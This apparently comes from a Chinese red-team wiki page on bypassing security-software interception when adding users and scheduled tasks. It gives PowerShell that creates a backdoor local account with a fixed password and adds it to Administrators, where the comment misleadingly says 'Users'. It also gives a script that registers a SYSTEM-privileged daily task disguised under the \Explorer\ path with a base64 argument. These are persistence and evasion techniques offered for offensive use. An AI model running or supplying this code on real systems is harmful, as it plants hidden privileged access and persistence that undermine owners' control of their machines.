添加用户和计划任务(Bypass)
前言
添加用户
拦截情景
绕过方法
1.CS bof



2.Powershell脚本

添加计划任务
拦截情景

绕过方法
1.CS bof



2.PowerShell脚本

最后更新于









最后更新于
# 使用管理员权限运行此脚本
# 定义新用户的用户名和密码
$userName = "NewUser"
$password = ConvertTo-SecureString "Password123" -AsPlainText -Force
# 创建本地用户账户
New-LocalUser -Name $userName -Password $password -FullName "New User" -Description "This is a new user."
# 添加新用户到 "Users" 组
Add-LocalGroupMember -Group "Administrators" -Member $userName
# 输出创建的用户信息
Get-LocalUser -Name $userNameschtasks /create /tn "My Task" /tr "C:\MyApp.exe" /sc daily /st 10:00# 定义任务的名称、要运行的程序和参数、描述信息
$taskName = "\Explorer\test1"
$programPath = "C:\Path\To\Your\Program\MyProgram.exe"
$programArgs = "base64"
$taskDescription = "This is a scheduled task running a program daily at 12:00 PM."
# 如果任务已经存在,先删除
if((Get-ScheduledTask | Where-Object { $_.TaskName -eq $taskName }) -ne $null) {
Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
}
# 设定触发器
$trigger = New-ScheduledTaskTrigger -Daily -At 17:56pm #在每天的12:00 PM运行任务
#$trigger = New-ScheduledTaskTrigger -AtStartup #在每次启动时运行任务
#$trigger = New-ScheduledTaskTrigger -AtIdle #在系统空闲时运行任务
# 设定任务的操作,即要运行的程序和参数
$action = New-ScheduledTaskAction -Execute $programPath -Argument $programArgs
# 创建一个以系统权限运行的计划任务
$principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount -RunLevel Highest
# 创建计划任务
Register-ScheduledTask -TaskName $taskName -Trigger $trigger -Action $action -Principal $principal -Description $taskDescription
# 删除指定的计划任务
# $taskToDelete = "\Explorer\test2"
# if((Get-ScheduledTask | Where-Object { $_.TaskName -eq $taskToDelete }) -ne $null) {
# Unregister-ScheduledTask -TaskName $taskToDelete -Confirm:$false
# }